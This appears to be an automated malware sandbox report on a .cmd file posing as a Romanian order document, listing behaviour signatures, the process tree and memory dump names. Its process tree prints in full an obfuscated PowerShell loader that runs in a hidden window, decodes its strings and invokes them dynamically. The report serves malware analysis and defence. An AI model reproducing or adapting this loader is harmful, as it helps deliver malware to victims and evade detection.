Analysis
- max time kernel
300s - max time network
301s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
18/07/2026, 09:08
General
- Target ST260016_RO_Comanda_MIRAGE_IMEX.cmd
- Size 3KB
- Sample260718-k34ppsh15s
- SHA256 5536a19bde30a18d139ed46e941dbfd6749ab9fefcec1c369091211619d3cc56
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs
Command interpreters often include specific commands/flags that ignore errors and other hangups.
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ST260016_RO_Comanda_MIRAGE_IMEX.cmd"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -windowstyle 1 "function qwezxc { $morde205 = (Get-Date); return $morde205}[System.Console]::Title = 'xyz';$slibr=-36204+36204;$netlisteda=5119+881;[void](Get-Date);function duopolygro ($saccoont,$unknigh) {$electriz=undervog(@(119,232,195,199,200,221,227,193,233,143,198,221,221,230,123,153,215,210,208,220,221,186,221,139)) ;Afkastesa ($electriz)}$wakenin = (Get-Location) | Out-File 'tmp.txt';function undervog ($unfix,$petr=64) { [void](Get-ChildItem -Path 'C:\' -ErrorAction SilentlyContinue);do {$netlisteda=$slibr%7;$unfix[$slibr]-=$monogr182[$netlisteda];$netlisteda=[char]$unfix[$slibr];$rich+=$netlisteda;$slibr++} while ($unfix[$slibr])$rich}function Afkastesa ($forsyt) {$vied = 'abc' | Out-File 'tmp.txt';&($mellemled) $forsyt}Function Anyones ($unfix,$reconse144=0){[void](Get-Item -Path 'C:\' -ErrorAction SilentlyContinue);$hema=undervog(@(174,184,209,210,219,211,230,199,210,156,158,171,224,227,192,183,195,215,202,164,168,166,233,212,205,211,213,156,119,234,208,202,206,230,157));$mandilfngs=@(Afkastesa ($hema));For($disco=0; $mandilfngs[$disco] -ne $artig; $disco++){$mandilfngs[$disco] = duopolygro $mandilfngs[$disco] $monogr182[$disco%7]}$ammoni=undervog(@(128,223,209,205,211,142,207,182,221,195,214,192,203,209,119,226,195,210,201,215,224,185,227,201,215));$uart=Afkastesa ($ammoni);if ($reconse144) { Afkastesa $uart}else {;$uart}}$monogr182=@(83,117,98,100,101,110,116);$mellemled=undervog @(156,186,186);$telefo='\Stttefon.Suk';$efter=Anyones 'ZltSRE05HT0RDRMWTjoHVVNUS15PcyILClNaT3MNVFBeTgYlT1NRV0BEelUlAQYFG3xHUlVVXkVjREIiDBwRNRoaS1RbRn1F';$tinders=Anyones 'OwEWFBZUW3wTBwgKAx09AUwHCQcXOFoJARxBJyYXEQ8XQAQgGA==';$udtremi=Anyones 'HgYaCQlcWgAQEBIAHCweOSowMT5aZVtS';$saccoontfgangst = (Get-Random);$newyorker=Anyones 'FDA2';$tzut=Anyones 'BgYHFkgvEzYbFg==';$pupilabili=Anyones 'bQ==';Anyones 'dxIOCwcPGGkbDQoKFh03HF9AAAACaRQSFAEPADJeRhAAAhE1Gg==' 1;Anyones 'dxIOCwcPGGkBFAEHD0l3AQsKAQsGIFsRFAkHAHtREhEVBxgyFwsIDEc=' 1;$tinders=$tveba[0];Anyones 'dxIOCwcPGGkBBxcRBQZuOwcTSCEWORABEEVDNzwYQkAQCgAhEA8N' 1;Anyones 'dxIOCwcPGGkbDQoVARo3SEowAB0AfiUDEA1OUD0aDAsdBxA6XA==' 1;while (!$nonpond) {Anyones 'dxIOCwcPGGkmEgMACAE/EV9AERwBNg==' 1;Anyones 'dwEHFxEFBn0aEgELRlA9EBUdChwfNgdOREEaHT0RBxYWQlR3EwMIFgtd' 1;Anyones 'dwEHFxEFBn0GBxA3CwUmEBEQLQsVNxAQTEEaDiYBTkRBCxInEBBN' 1;Anyones 'dwEHFxEFBn0GBwoBRl0=' 1;Anyones 'dxIOCwcPGGkDCwcAU1AnEBEQDhxaIAEDEBAdVH4QE0RXXkQ=' 1;if ($vice) {Anyones 'CBcbEAA1KQ5RBQgKDBU/Tw8NFh0dPxAQWUEaESABCRZLHBEgBQ0KFgs2PBEb' 1;Anyones 'IBZCQAsBGjwNCwAMTlA+HBEXDAIRIVVPIQsNGzccDANFLA0nEA==' 1} Anyones 'ABkHARVGQHo=' 1;Anyones 'dxIOCwcPGGkbDQoVARo3SEowAB0AfiUDEA1OUD0aDAsdBxA6XA==' 1 ;Anyones 'dxIOCwcPGGkDAxYACRg3RFpZQQkYPBcDCF8NBiYYAA0ARV92URYSAAwVfRYNEQsa' 1;$tinders=$tveba[$varegld18]}$saccoonttalayasb=399219;$forsinkels=15045;Anyones 'dxIOCwcPGGkADAAAHAYyAQcJWAkXc1EMCwsBDDoRCw==' 1;Anyones 'dxIOCwcPGGkgBQEJABo6G18/JgEaJRAQEDhUThUHDQknDwc2Q1Y3ERwdPRJKQBAAEDYHEAURCxl6' 1;Anyones 'dxIOCwcPGGkFCxAGUy8HEBoQSysaMBoGDQsJKWlPIzcmJz19MgcQNhoGOhsFTEE7EzYZDAoMAF0=' 1;Anyones 'dxIOCwcPGGkUARUQU1AjHBYHSx0BMQYWFgwAE3tREQUGDRs8GxYQBAIVKhQRBklKEjwHEQ0LBRE/Bks=' 1;Afkastesa $acqu;function mnblkj { $tegne = (Get-Random); return $tegne};#Iexissolv Enhedsmrk Folk interseab ;"2⤵
- Badlisted process makes network request
- Hide Artifacts: Ignore Process Interrupts
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/2980-10-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/2980-33-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/2980-5-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/2980-6-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/2980-7-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/2980-8-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/2980-9-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/2980-0-0x00007FF99F5EF000-0x00007FF99F5F0000-memory.dmp
memory/2980-4-0x0000018C1E0E0000-0x0000018C1E102000-memory.dmp
memory/2980-13-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/2980-31-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/2980-48-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/2980-73-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/2980-91-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/2980-3-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/2980-50-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/2980-522-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp
memory/2980-1062-0x00007FF99F460000-0x00007FF99FE04000-memory.dmp